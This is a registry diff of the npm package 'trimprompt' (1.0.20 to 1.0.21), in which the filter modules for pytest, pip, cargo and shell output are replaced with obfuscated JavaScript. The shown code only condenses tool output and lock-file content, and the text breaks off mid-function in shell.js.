trimprompt 1.0.20 → 1.0.21
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cache.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/mcp.js +1 -1
- package/package.json +18 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/filters/python.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x37ce2b=a0_0x2f2c;(function(_0x264509,_0x2359a6){const _0x1b2d24=a0_0x2f2c,_0x235d9c=_0x264509();while(!![]){try{const _0x3c2715=parseInt(_0x1b2d24(0x6b))/0x1*(-parseInt(_0x1b2d24(0x84))/0x2)+parseInt(_0x1b2d24(0x77))/0x3*(-parseInt(_0x1b2d24(0x9b))/0x4)+-parseInt(_0x1b2d24(0x74))/0x5*(-parseInt(_0x1b2d24(0x99))/0x6)+-parseInt(_0x1b2d24(0x87))/0x7*(parseInt(_0x1b2d24(0x89))/0x8)+parseInt(_0x1b2d24(0x83))/0x9+parseInt(_0x1b2d24(0x8b))/0xa+parseInt(_0x1b2d24(0x6f))/0xb;if(_0x3c2715===_0x2359a6)break;else _0x235d9c['push'](_0x235d9c['shift']());}catch(_0x9092eb){_0x235d9c['push'](_0x235d9c['shift']());}}}(a0_0x2389,0x4887f));Object[a0_0x37ce2b(0x7e)](exports,a0_0x37ce2b(0x98),{'value':!![]}),exports[a0_0x37ce2b(0x8c)]=filterPytest,exports[a0_0x37ce2b(0x92)]=filterPipInstall;function filterPytest(_0x5b1749){const _0x133e8b=a0_0x37ce2b,_0x1e9c17=_0x5b1749[_0x133e8b(0x85)]('\x0a');let _0x67a84a=0x0,_0x2a5f4f=0x0,_0x49b66e=0x0,_0x2a34ea=0x0,_0x11cd07=0x0;const _0x1b6577=[];let _0x52dde9=[],_0x3ab05e=![];for(const _0xa7001c of _0x1e9c17){const _0x4a6e3e=_0xa7001c[_0x133e8b(0x9d)]();if(_0x4a6e3e[_0x133e8b(0x73)](_0x133e8b(0x7d))||_0x4a6e3e['startsWith'](_0x133e8b(0x76))){_0x3ab05e=!![];continue;}else(_0x4a6e3e['startsWith'](_0x133e8b(0x97))||_0x4a6e3e['startsWith'](_0x133e8b(0x6e))&&_0x4a6e3e[_0x133e8b(0x82)](_0x133e8b(0x91)))&&(_0x3ab05e=![],_0x52dde9[_0x133e8b(0x96)]>0x0&&(_0x1b6577[_0x133e8b(0x70)](_0x52dde9),_0x52dde9=[]));if(_0x3ab05e){if(_0x4a6e3e['startsWith'](_0x133e8b(0x86)))_0x52dde9[_0x133e8b(0x96)]>0x0&&(_0x1b6577[_0x133e8b(0x70)](_0x52dde9),_0x52dde9=[]),_0x52dde9[_0x133e8b(0x70)](_0x4a6e3e);else _0x4a6e3e['length']>0x0&&_0x52dde9[_0x133e8b(0x70)](_0xa7001c);continue;}if(_0x4a6e3e[_0x133e8b(0x73)]('===')&&_0x4a6e3e[_0x133e8b(0x82)](_0x133e8b(0x8f))){const _0x5b90fb=_0x4a6e3e[_0x133e8b(0x81)](/(\d+)\s+passed/),_0x56b0ee=_0x4a6e3e['match'](/(\d+)\s+failed/),_0x57c908=_0x4a6e3e[_0x133e8b(0x81)](/(\d+)\s+skipped/),_0x42c00a=_0x4a6e3e[_0x133e8b(0x81)](/(\d+)\s+xfailed/),_0x4c6714=_0x4a6e3e['match'](/(\d+)\s+xpassed/);if(_0x5b90fb)_0x67a84a=parseInt(_0x5b90fb[0x1]);if(_0x56b0ee)_0x2a5f4f=parseInt(_0x56b0ee[0x1]);if(_0x57c908)_0x49b66e=parseInt(_0x57c908[0x1]);if(_0x42c00a)_0x2a34ea=parseInt(_0x42c00a[0x1]);if(_0x4c6714)_0x11cd07=parseInt(_0x4c6714[0x1]);}}_0x52dde9['length']>0x0&&_0x1b6577[_0x133e8b(0x70)](_0x52dde9);if(_0x67a84a===0x0&&_0x2a5f4f===0x0&&_0x49b66e===0x0&&_0x2a34ea===0x0&&_0x11cd07===0x0){if(_0x5b1749['includes'](_0x133e8b(0x91))&&!_0x5b1749[_0x133e8b(0x82)](_0x133e8b(0x8e)))return _0x133e8b(0x95);return _0x5b1749;}if(_0x2a5f4f===0x0&&_0x67a84a>0x0&&_0x49b66e===0x0&&_0x2a34ea===0x0&&_0x11cd07===0x0)return _0x133e8b(0x8a)+_0x67a84a+_0x133e8b(0x6c);const _0xa73b74=[];_0xa73b74[_0x133e8b(0x70)](_0x133e8b(0x8a)+_0x67a84a+_0x133e8b(0x6c));if(_0x2a5f4f>0x0)_0xa73b74['push'](_0x2a5f4f+_0x133e8b(0x9a));if(_0x49b66e>0x0)_0xa73b74[_0x133e8b(0x70)](_0x49b66e+_0x133e8b(0x7b));if(_0x2a34ea>0x0)_0xa73b74['push'](_0x2a34ea+_0x133e8b(0x71));if(_0x11cd07>0x0)_0xa73b74[_0x133e8b(0x70)](_0x11cd07+_0x133e8b(0x9c));const _0x2de1f3=[_0xa73b74[_0x133e8b(0x6d)](',\x20')];if(_0x1b6577[_0x133e8b(0x96)]>0x0){_0x2de1f3[_0x133e8b(0x70)](_0x133e8b(0x88));const _0x55ccab=0x3,_0x1cee63=_0x1b6577['slice'](0x0,_0x55ccab);for(let _0x45af20=0x0;_0x45af20<_0x1cee63[_0x133e8b(0x96)];_0x45af20++){const _0x437822=_0x1cee63[_0x45af20],_0x2a4c07=_0x437822[0x0][_0x133e8b(0x90)](/_/g,'')[_0x133e8b(0x9d)]();_0x2de1f3[_0x133e8b(0x70)]('\x20\x20'+(_0x45af20+0x1)+'.\x20[FAIL]\x20'+_0x2a4c07);const _0x15aa66=_0x437822[_0x133e8b(0x7f)](0x1),_0x1fe6c4=_0x15aa66[_0x133e8b(0x80)](_0x184b9a=>{const _0x2ca361=_0x133e8b,_0x54fa7b=_0x184b9a['trim']();return _0x54fa7b[_0x2ca361(0x73)]('>')||_0x54fa7b[_0x2ca361(0x73)](_0x2ca361(0x94))||_0x54fa7b[_0x2ca361(0x82)]('.py:')||_0x54fa7b[_0x2ca361(0x82)](_0x2ca361(0x72));});for(const _0x29ef76 of _0x1fe6c4['slice'](0x0,0x8)){_0x2de1f3[_0x133e8b(0x70)](_0x133e8b(0x78)+_0x29ef76);}_0x1fe6c4['length']>0x8&&_0x2de1f3[_0x133e8b(0x70)](_0x133e8b(0x9e)+(_0x1fe6c4[_0x133e8b(0x96)]-0x8)+_0x133e8b(0x7c));}_0x1b6577[_0x133e8b(0x96)]>_0x55ccab&&_0x2de1f3[_0x133e8b(0x70)]('\x20\x20...\x20+'+(_0x1b6577[_0x133e8b(0x96)]-_0x55ccab)+_0x133e8b(0x7a));}return _0x2de1f3['join']('\x0a');}function a0_0x2389(){const _0x4d3208=['620616rSchOQ','\x20failed','124ALwnxe','\x20xpassed\x20(warning!)','trim','\x20\x20\x20\x20...\x20(','1ielStK','\x20passed','join','===','5094562kppirS','push','\x20xfailed','AssertionError:','startsWith','10zhSWGw','Requirement\x20already\x20satisfied','===\x20ERRORS\x20===','48999vjHdIp','\x20\x20\x20\x20','Successfully\x20installed','\x20more\x20failures\x20truncated','\x20skipped','\x20lines\x20of\x20stacktrace\x20truncated)','===\x20FAILURES\x20===','defineProperty','slice','filter','match','includes','1913625owWBAu','264572OFtMir','split','___','46571neMfpS','\x0aFailures:','104LrXvZH','Pytest:\x20','1395460CRXGsq','filterPytest','Downloading','failed','\x20in\x20','replace','passed','filterPipInstall','Collecting','E\x20\x20\x20','Pytest:\x20All\x20tests\x20passed','length','===\x20short\x20test\x20summary\x20info\x20===','__esModule'];a0_0x2389=function(){return _0x4d3208;};return a0_0x2389();}function a0_0x2f2c(_0x1a1ed2,_0x2ae254){_0x1a1ed2=_0x1a1ed2-0x6b;const _0x238926=a0_0x2389();let _0x2f2c63=_0x238926[_0x1a1ed2];return _0x2f2c63;}function filterPipInstall(_0x2e69c2){const _0x3efb55=a0_0x37ce2b,_0x529fd6=_0x2e69c2[_0x3efb55(0x85)]('\x0a'),_0x527ecb=[];for(const _0x3e33c4 of _0x529fd6){const _0x17d2a7=_0x3e33c4[_0x3efb55(0x9d)]();_0x17d2a7[_0x3efb55(0x73)](_0x3efb55(0x79))&&_0x527ecb[_0x3efb55(0x70)](_0x17d2a7);}if(_0x527ecb['length']>0x0)return _0x527ecb[_0x3efb55(0x6d)]('\x0a');return _0x529fd6['filter'](_0x305350=>{const _0x13262d=_0x3efb55,_0x25d669=_0x305350['trim']();return!_0x25d669[_0x13262d(0x73)](_0x13262d(0x93))&&!_0x25d669['startsWith'](_0x13262d(0x8d))&&!_0x25d669[_0x13262d(0x82)]('Using\x20cached')&&!_0x25d669[_0x13262d(0x73)](_0x13262d(0x75));})['join']('\x0a')[_0x3efb55(0x9d)]();}
|
package/filters/rust.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';function a0_0x4aa9(_0x2f9775,_0x37f69d){_0x2f9775=_0x2f9775-0xd5;const _0x2db6d8=a0_0x2db6();let _0x4aa918=_0x2db6d8[_0x2f9775];return _0x4aa918;}const a0_0x1686f0=a0_0x4aa9;(function(_0x38d86a,_0x14e3ab){const _0x28f524=a0_0x4aa9,_0x544bd3=_0x38d86a();while(!![]){try{const _0x1e1a37=-parseInt(_0x28f524(0x103))/0x1*(-parseInt(_0x28f524(0xda))/0x2)+parseInt(_0x28f524(0xfa))/0x3+parseInt(_0x28f524(0xef))/0x4+parseInt(_0x28f524(0xfc))/0x5+parseInt(_0x28f524(0xdd))/0x6+parseInt(_0x28f524(0xf2))/0x7+parseInt(_0x28f524(0xe7))/0x8*(-parseInt(_0x28f524(0xd7))/0x9);if(_0x1e1a37===_0x14e3ab)break;else _0x544bd3['push'](_0x544bd3['shift']());}catch(_0x267122){_0x544bd3['push'](_0x544bd3['shift']());}}}(a0_0x2db6,0xd71be));function a0_0x2db6(){const _0x52f3b9=['Cargo\x20test:\x20all\x20tests\x20passed','filterCargoBuild','Compiling\x20','Cargo:\x20compiled\x20','\x20warnings','315231xTBoII','test\x20result:','8807615PcRBZr','warning[','join','\x0aFailures:','\x20crates,\x20','\x20passed,\x20','split','55mnjeoi','\x20\x20...\x20+','\x20ignored','Cargo:\x20','slice','\x0aWarnings:','warning:','\x20----','30980367OVzAPo','includes','filter','26568THOOVK','\x20failed,\x20','\x20passed','2739864RNWXad','\x20\x20\x20\x20','push','\x20errors,\x20','endsWith','replace','test\x20result:\x20ok','\x20crates\x20successfully','failures:','\x20more\x20errors','8KLKAWY','panicked','length','thread','error[','startsWith','trim','Cargo\x20test:\x20','1128004yMiixW','filterCargoTest','left:','6912388faLEVh','\x20more\x20failures','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)'];a0_0x2db6=function(){return _0x52f3b9;};return a0_0x2db6();}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x1686f0(0xf0)]=filterCargoTest,exports[a0_0x1686f0(0xf6)]=filterCargoBuild;function filterCargoTest(_0x1a8489){const _0x3f8309=a0_0x1686f0,_0x32e1ee=_0x1a8489[_0x3f8309(0x102)]('\x0a');let _0x500a24=0x0,_0x7ffd99=0x0,_0x5c3d59=0x0,_0x2ed7ab=0x0;const _0x30cae0=[];let _0x1d0a6f=![],_0x3231bf=[];for(const _0x3fe2de of _0x32e1ee){const _0x3a7217=_0x3fe2de['trim'](),_0x168871=_0x3a7217['match'](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x168871){_0x500a24+=parseInt(_0x168871[0x2]),_0x7ffd99+=parseInt(_0x168871[0x3]),_0x5c3d59+=parseInt(_0x168871[0x4]),_0x2ed7ab+=parseInt(_0x168871[0x5]);continue;}if(_0x3a7217==='failures:'||_0x3a7217==='----\x20failures\x20----'){_0x1d0a6f=!![];continue;}if(_0x1d0a6f){if(_0x3a7217['startsWith']('----\x20')&&_0x3a7217[_0x3f8309(0xe1)](_0x3f8309(0xd6))){if(_0x3231bf[_0x3f8309(0xe9)]>0x0)_0x30cae0[_0x3f8309(0xdf)](_0x3231bf['join']('\x0a'));_0x3231bf=[_0x3a7217[_0x3f8309(0xe2)](/^-+\s*/,'')[_0x3f8309(0xe2)](/\s*-+$/,'')];}else{if(_0x3a7217===_0x3f8309(0xe5)||_0x3a7217[_0x3f8309(0xec)](_0x3f8309(0xfb))){if(_0x3231bf[_0x3f8309(0xe9)]>0x0)_0x30cae0['push'](_0x3231bf['join']('\x0a'));_0x3231bf=[],_0x1d0a6f=![];}else _0x3a7217[_0x3f8309(0xe9)]>0x0&&_0x3231bf[_0x3f8309(0xdf)](_0x3fe2de);}}}if(_0x3231bf[_0x3f8309(0xe9)]>0x0)_0x30cae0['push'](_0x3231bf[_0x3f8309(0xfe)]('\x0a'));if(_0x500a24===0x0&&_0x7ffd99===0x0&&_0x5c3d59===0x0){if(_0x1a8489['includes'](_0x3f8309(0xe3)))return _0x3f8309(0xf5);return _0x1a8489;}if(_0x7ffd99===0x0){const _0x1415fb=['Cargo\x20test:\x20'+_0x500a24+_0x3f8309(0xdc)];if(_0x5c3d59>0x0)_0x1415fb[_0x3f8309(0xdf)](_0x5c3d59+_0x3f8309(0x105));return _0x1415fb[_0x3f8309(0xfe)](',\x20');}const _0x4944d9=[_0x3f8309(0xee)+_0x500a24+_0x3f8309(0x101)+_0x7ffd99+_0x3f8309(0xdb)+_0x5c3d59+_0x3f8309(0x105)];if(_0x30cae0[_0x3f8309(0xe9)]>0x0){_0x4944d9['push'](_0x3f8309(0xff));const _0x36fb00=0x3;for(let _0x3ff197=0x0;_0x3ff197<Math['min'](_0x30cae0[_0x3f8309(0xe9)],_0x36fb00);_0x3ff197++){const _0x2b0f58=_0x30cae0[_0x3ff197][_0x3f8309(0x102)]('\x0a');_0x4944d9['push']('\x20\x20'+(_0x3ff197+0x1)+'.\x20'+_0x2b0f58[0x0]);const _0x5eed14=_0x2b0f58[_0x3f8309(0x107)](0x1),_0x2e4509=_0x5eed14[_0x3f8309(0xd9)](_0x32e1e0=>_0x32e1e0[_0x3f8309(0xed)]()[_0x3f8309(0xec)](_0x3f8309(0xea))||_0x32e1e0[_0x3f8309(0xd8)](_0x3f8309(0xe8))||_0x32e1e0['includes']('assert')||_0x32e1e0['includes'](_0x3f8309(0xf1))||_0x32e1e0[_0x3f8309(0xd8)]('right:'));for(const _0x53ab74 of _0x2e4509['slice'](0x0,0x5)){_0x4944d9[_0x3f8309(0xdf)](_0x3f8309(0xde)+_0x53ab74[_0x3f8309(0xed)]());}}_0x30cae0[_0x3f8309(0xe9)]>_0x36fb00&&_0x4944d9['push'](_0x3f8309(0x104)+(_0x30cae0['length']-_0x36fb00)+_0x3f8309(0xf3));}return _0x4944d9['join']('\x0a');}function filterCargoBuild(_0x5b433b){const _0x930999=a0_0x1686f0,_0x1abf4c=_0x5b433b['split']('\x0a'),_0x502581=[],_0x34b698=[];let _0x13421c=0x0;for(const _0xb55c1 of _0x1abf4c){const _0x1b0101=_0xb55c1[_0x930999(0xed)]();if(_0x1b0101[_0x930999(0xec)](_0x930999(0xf7)))_0x13421c++;else{if(_0x1b0101[_0x930999(0xec)](_0x930999(0xfd))||_0x1b0101[_0x930999(0xec)](_0x930999(0xd5)))_0x502581[_0x930999(0xdf)](_0x1b0101);else{if(_0x1b0101[_0x930999(0xec)](_0x930999(0xeb))||_0x1b0101[_0x930999(0xec)]('error:'))_0x34b698[_0x930999(0xdf)](_0x1b0101);}}}if(_0x34b698[_0x930999(0xe9)]===0x0&&_0x502581[_0x930999(0xe9)]===0x0)return _0x13421c>0x0?_0x930999(0xf8)+_0x13421c+_0x930999(0xe4):_0x5b433b['trim']();const _0x2fe69d=[];if(_0x34b698['length']>0x0){_0x2fe69d[_0x930999(0xdf)](_0x930999(0x106)+_0x34b698[_0x930999(0xe9)]+_0x930999(0xe0)+_0x502581['length']+'\x20warnings'),_0x2fe69d[_0x930999(0xdf)]('\x0aErrors:');for(const _0x3b56bb of _0x34b698[_0x930999(0x107)](0x0,0x5))_0x2fe69d[_0x930999(0xdf)]('\x20\x20'+_0x3b56bb);if(_0x34b698[_0x930999(0xe9)]>0x5)_0x2fe69d[_0x930999(0xdf)](_0x930999(0x104)+(_0x34b698['length']-0x5)+_0x930999(0xe6));}else _0x2fe69d['push'](_0x930999(0xf8)+_0x13421c+_0x930999(0x100)+_0x502581[_0x930999(0xe9)]+_0x930999(0xf9));if(_0x502581['length']>0x0&&_0x502581[_0x930999(0xe9)]<=0x5){_0x2fe69d[_0x930999(0xdf)](_0x930999(0x108));for(const _0x40baa0 of _0x502581)_0x2fe69d[_0x930999(0xdf)]('\x20\x20'+_0x40baa0);}else _0x502581[_0x930999(0xe9)]>0x5&&_0x2fe69d['push']('\x0a('+_0x502581[_0x930999(0xe9)]+_0x930999(0xf4));return _0x2fe69d[_0x930999(0xfe)]('\x0a');}
|
package/filters/shell.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x2fc984=a0_0x2578;(function(_0x933ff9,_0x17ea80){const _0x1bf9fb=a0_0x2578,_0x8c3524=_0x933ff9();while(!![]){try{const _0x45d817=parseInt(_0x1bf9fb(0x116))/0x1+-parseInt(_0x1bf9fb(0x142))/0x2*(-parseInt(_0x1bf9fb(0xd9))/0x3)+-parseInt(_0x1bf9fb(0x107))/0x4*(parseInt(_0x1bf9fb(0xde))/0x5)+-parseInt(_0x1bf9fb(0xed))/0x6+parseInt(_0x1bf9fb(0x115))/0x7*(parseInt(_0x1bf9fb(0xff))/0x8)+-parseInt(_0x1bf9fb(0xfc))/0x9*(-parseInt(_0x1bf9fb(0x143))/0xa)+parseInt(_0x1bf9fb(0x103))/0xb;if(_0x45d817===_0x17ea80)break;else _0x8c3524['push'](_0x8c3524['shift']());}catch(_0x4d167b){_0x8c3524['push'](_0x8c3524['shift']());}}}(a0_0x5372,0x68002));function a0_0x2578(_0x29ebb9,_0x39676a){_0x29ebb9=_0x29ebb9-0xce;const _0x5372b0=a0_0x5372();let _0x257820=_0x5372b0[_0x29ebb9];return _0x257820;}var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x4ddc05,_0x34d4b3,_0x38afee,_0x5cc669){const _0x593c19=a0_0x2578;if(_0x5cc669===undefined)_0x5cc669=_0x38afee;var _0x110b3f=Object[_0x593c19(0xe5)](_0x34d4b3,_0x38afee);(!_0x110b3f||(_0x593c19(0xf5)in _0x110b3f?!_0x34d4b3[_0x593c19(0x11d)]:_0x110b3f[_0x593c19(0x13f)]||_0x110b3f['configurable']))&&(_0x110b3f={'enumerable':!![],'get':function(){return _0x34d4b3[_0x38afee];}}),Object[_0x593c19(0xee)](_0x4ddc05,_0x5cc669,_0x110b3f);}:function(_0x23ca4d,_0x3d2406,_0x2759b3,_0x31847d){if(_0x31847d===undefined)_0x31847d=_0x2759b3;_0x23ca4d[_0x31847d]=_0x3d2406[_0x2759b3];}),__setModuleDefault=this&&this[a0_0x2fc984(0xfb)]||(Object[a0_0x2fc984(0xdb)]?function(_0x3fad02,_0x4798be){const _0x3ca9e2=a0_0x2fc984;Object['defineProperty'](_0x3fad02,_0x3ca9e2(0x10b),{'enumerable':!![],'value':_0x4798be});}:function(_0x1c21e2,_0x4f7e1a){const _0x5879ed=a0_0x2fc984;_0x1c21e2[_0x5879ed(0x10b)]=_0x4f7e1a;}),__importStar=this&&this[a0_0x2fc984(0x108)]||(function(){var _0x4034d9=function(_0x530b2f){const _0x28025d=a0_0x2578;return _0x4034d9=Object[_0x28025d(0xe6)]||function(_0x5323fc){const _0xd8800e=_0x28025d;var _0x359ffe=[];for(var _0x3c7f47 in _0x5323fc)if(Object[_0xd8800e(0x140)][_0xd8800e(0xe7)][_0xd8800e(0x11b)](_0x5323fc,_0x3c7f47))_0x359ffe[_0x359ffe[_0xd8800e(0x13a)]]=_0x3c7f47;return _0x359ffe;},_0x4034d9(_0x530b2f);};return function(_0x229a05){const _0x1f6a68=a0_0x2578;if(_0x229a05&&_0x229a05[_0x1f6a68(0x11d)])return _0x229a05;var _0xe4dace={};if(_0x229a05!=null){for(var _0x1010d5=_0x4034d9(_0x229a05),_0xc8c3db=0x0;_0xc8c3db<_0x1010d5[_0x1f6a68(0x13a)];_0xc8c3db++)if(_0x1010d5[_0xc8c3db]!==_0x1f6a68(0x10b))__createBinding(_0xe4dace,_0x229a05,_0x1010d5[_0xc8c3db]);}return __setModuleDefault(_0xe4dace,_0x229a05),_0xe4dace;};}());Object[a0_0x2fc984(0xee)](exports,'__esModule',{'value':!![]}),exports['filterLs']=filterLs,exports[a0_0x2fc984(0x10d)]=filterTree,exports['filterCat']=filterCat,exports[a0_0x2fc984(0x106)]=filterGrep,exports[a0_0x2fc984(0xec)]=filterFind;const path=__importStar(require(a0_0x2fc984(0x11c))),LOCK_FILES=[a0_0x2fc984(0x141),a0_0x2fc984(0xf7),a0_0x2fc984(0x124),a0_0x2fc984(0xfe),'go.sum',a0_0x2fc984(0x125),a0_0x2fc984(0x12e),a0_0x2fc984(0x133),a0_0x2fc984(0x121)],BINARY_EXTENSIONS=[a0_0x2fc984(0xf1),a0_0x2fc984(0x137),a0_0x2fc984(0xcf),a0_0x2fc984(0x131),a0_0x2fc984(0xd7),a0_0x2fc984(0xe8),a0_0x2fc984(0xea),a0_0x2fc984(0xe4),a0_0x2fc984(0x111),'.bmp',a0_0x2fc984(0x112),a0_0x2fc984(0x10c),'.pdf',a0_0x2fc984(0xfa),a0_0x2fc984(0xd6),a0_0x2fc984(0x13b),a0_0x2fc984(0x11a),'.bz2',a0_0x2fc984(0x105),a0_0x2fc984(0x12c),a0_0x2fc984(0x100),'.dll',a0_0x2fc984(0xdc),a0_0x2fc984(0xdf),a0_0x2fc984(0x139),a0_0x2fc984(0xf6),a0_0x2fc984(0xe9),a0_0x2fc984(0x138),'.sqlite3',a0_0x2fc984(0x122),a0_0x2fc984(0x102),a0_0x2fc984(0x10f),a0_0x2fc984(0xd5),a0_0x2fc984(0xef),a0_0x2fc984(0xd8),a0_0x2fc984(0x10e),a0_0x2fc984(0x10a),a0_0x2fc984(0x101),a0_0x2fc984(0xd4),a0_0x2fc984(0x119),'.pyc',a0_0x2fc984(0x11e),a0_0x2fc984(0x132),'.o',a0_0x2fc984(0x12b)];function extractFilename(_0x224cb6){const _0xa54967=a0_0x2fc984,_0x517f13=_0x224cb6['trim']()[_0xa54967(0xf9)](/\s+/);for(let _0x7a0e73=0x1;_0x7a0e73<_0x517f13[_0xa54967(0x13a)];_0x7a0e73++){if(!_0x517f13[_0x7a0e73][_0xa54967(0x13c)]('-'))return _0x517f13[_0x7a0e73];}return null;}function filterLockFile(_0x33a83f,_0x444da0){const _0x231ee7=a0_0x2fc984;try{const _0x72f60b=path[_0x231ee7(0xf8)](_0x444da0)[_0x231ee7(0x136)]();if(!LOCK_FILES[_0x231ee7(0xf0)](_0x22f50e=>_0x72f60b===_0x22f50e[_0x231ee7(0x136)]()))return null;const _0x2ae9c6=_0x33a83f[_0x231ee7(0x13a)];let _0x369743=0x0;if(_0x72f60b===_0x231ee7(0x141))try{const _0x6651e8=JSON[_0x231ee7(0x109)](_0x33a83f);_0x369743=Object['keys'](_0x6651e8['packages']||_0x6651e8[_0x231ee7(0xd3)]||{})['length'];}catch{_0x369743=(_0x33a83f['match'](/"resolved":/g)||[])['length'];}else{if(_0x72f60b==='yarn.lock')_0x369743=(_0x33a83f[_0x231ee7(0x123)](/^"?[^#\s][^:]*:$/gm)||[])[_0x231ee7(0x13a)];else{if(_0x72f60b===_0x231ee7(0x13d)||_0x72f60b===_0x231ee7(0x125))_0x369743=(_0x33a83f[_0x231ee7(0x123)](/\[\[package\]\]/g)||[])[_0x231ee7(0x13a)];else{if(_0x72f60b==='go.sum')_0x369743=Math['floor'](_0x33a83f[_0x231ee7(0xf9)]('\x0a')['filter'](_0x8f5784=>_0x8f5784[_0x231ee7(0x12d)]())[_0x231ee7(0x13a)]/0x2);else{if(_0x72f60b==='composer.lock')try{_0x369743=JSON['parse'](_0x33a83f)['packages']?.[_0x231ee7(0x13a)]||0x0;}catch{}else _0x72f60b===_0x231ee7(0x124)?_0x369743=(_0x33a83f[_0x231ee7(0x123)](/^\s{2}['"@a-z]/gm)||[])['length']:_0x369743=_0x33a83f[_0x231ee7(0xf9)]('\x0a')[_0x231ee7(0x12f)](_0x1eb366=>_0x1eb366[_0x231ee7(0x12d)]())[_0x231ee7(0x13a)];}}}}return _0x231ee7(0x114)+path['basename'](_0x444da0)+':\x20'+_0x369743+'\x20dependencies,\x20'+_0x2ae9c6[_0x231ee7(0xe3)]()+_0x231ee7(0xf4);}catch{return null;}}function a0_0x5372(){const _0x3575fd=['includes','/\x20(','.obj','.rar','trim','composer.lock','filter','\x20\x20...\x20+','.wasm','.class','Gemfile.lock','push','\x20directories','toLowerCase','.min.css','.db','.bin','length','.tgz','startsWith','cargo.lock','[binary\x20file]\x20','writable','prototype','package-lock.json','125418rSoLOa','5260IvcvBj','\x20chars,\x20type:\x20','\x20chars\x20across\x20','.map','indexOf','\x20lines\x20truncated]\x20...\x0a','substring','dependencies','.mov','.eot','.tar.gz','.png','.mp3','12lecdmq',':\x20...\x20(','create','.so','\x20chars\x20(contains\x20null\x20bytes\x20—\x20binary\x20content\x20omitted)','75CKghcH','.dylib','...\x20+','join','charCodeAt','toLocaleString','.gif','getOwnPropertyDescriptor','getOwnPropertyNames','hasOwnProperty','.jpg','.sqlite','.jpeg','\x20matches\x20in\x20this\x20file)','filterFind','4476090yeOUGi','defineProperty','.otf','some','.min.js','\x20files)','slice','\x20chars\x20(content\x20omitted\x20—\x20lock\x20files\x20are\x20not\x20useful\x20for\x20LLM\x20context)','get','.dat','yarn.lock','basename','split','.zip','__setModuleDefault','13887lDNVzL','keys','Cargo.lock','80408FVezul','.exe','.avi','.woff2','4610485scqFHW','No\x20files\x20found','.7z','filterGrep','164508BjuwCZ','__importStar','parse','.wav','default','.svg','filterTree','.mp4','.ttf','total\x20','.ico','.webp','\x20more\x20matches','[lock\x20file]\x20','70NWxBSc','206807fjYkQP','[binary/minified\x20file]\x20','\x20directories,\x20','.webm','.gz','call','path','__esModule','.pyo','\x20matches\x20across\x20','No\x20matches\x20found','bun.lockb','.woff','match','pnpm-lock.yaml','poetry.lock','\x20more\x20directories','\x20lines\x20total)','\x20more\x20files\x20with\x20matches'];a0_0x5372=function(){return _0x3575fd;};return a0_0x5372();}function filterBinaryOrMinified(_0x925fbe,_0x413021){const _0x3c509e=a0_0x2fc984;try{if(_0x413021){const _0x2ca8eb=_0x413021[_0x3c509e(0x136)]();for(const _0x523f72 of BINARY_EXTENSIONS){if(_0x2ca8eb['endsWith'](_0x523f72))return _0x3c509e(0x117)+path[_0x3c509e(0xf8)](_0x413021)+',\x20'+_0x925fbe[_0x3c509e(0x13a)][_0x3c509e(0xe3)]()+_0x3c509e(0x144)+_0x523f72+'\x20(content\x20omitted\x20—\x20not\x20useful\x20for\x20LLM\x20context)';}}const _0x17264c=_0x925fbe[_0x3c509e(0xd2)](0x0,0x3e8);let _0x2fbada=0x0;for(let _0x44c8f3=0x0;_0x44c8f3<_0x17264c['length'];_0x44c8f3++){if(_0x17264c[_0x3c509e(0xe2)](_0x44c8f3)===0x0)_0x2fbada++;}if(_0x2fbada>0x0)return'[binary\x20file]\x20'+_0x925fbe['length'][_0x3c509e(0xe3)]()+_0x3c509e(0xdd);let _0x11cce6=0x0;for(let _0x3d9546=0x0;_0x3d9546<_0x17264c[_0x3c509e(0x13a)];_0x3d9546++){const _0x49de79=_0x17264c['charCodeAt'](_0x3d9546);if(_0x49de79<0x20&&_0x49de79!==0xa&&_0x49de79!==0xd&&_0x49de79!==0x9)_0x11cce6++;}if(_0x17264c[_0x3c509e(0x13a)]>0x64&&_0x11cce6>_0x17264c['length']*0.1)return _0x3c509e(0x13e)+_0x925fbe['length'][_0x3c509e(0xe3)]()+'\x20chars\x20(high\x20non-printable\x20ratio\x20—\x20content\x20omitted)';const _0x4ba6bc=_0x925fbe[_0x3c509e(0xf9)]('\x0a');if(_0x4ba6bc[_0x3c509e(0x13a)]<=0x3&&_0x925fbe['length']>0x1388)return'[minified\x20file]\x20'+_0x925fbe['length']['toLocaleString']()+_0x3c509e(0xce)+_0x4ba6bc['length']+'\x20line(s)\x20(content\x20omitted\x20—\x20not\x20human-readable)';return null;}catch{return null;}}function filterJsonMinify(_0x4f78e1){const _0x22bb5e=a0_0x2fc984;try{const _0x5ebfcd=_0x4f78e1[_0x22bb5e(0x12d)]();if(!_0x5ebfcd[_0x22bb5e(0x13c)]('{')&&!_0x5ebfcd[_0x22bb5e(0x13c)]('['))return null;const _0x495edf=_0x5ebfcd[_0x22bb5e(0xf9)]('\x0a');if(_0x495edf[_0x22bb5e(0x13a)]<=0x14)return null;const _0x1087db=JSON['parse'](_0x5ebfcd),_0xabaa1e=JSON['stringify'](_0x1087db);if(_0xabaa1e['length']<_0x5ebfcd[_0x22bb5e(0x13a)])return _0xabaa1e;return null;}catch{return null;}}function filterLs(_0x15b5c2){const 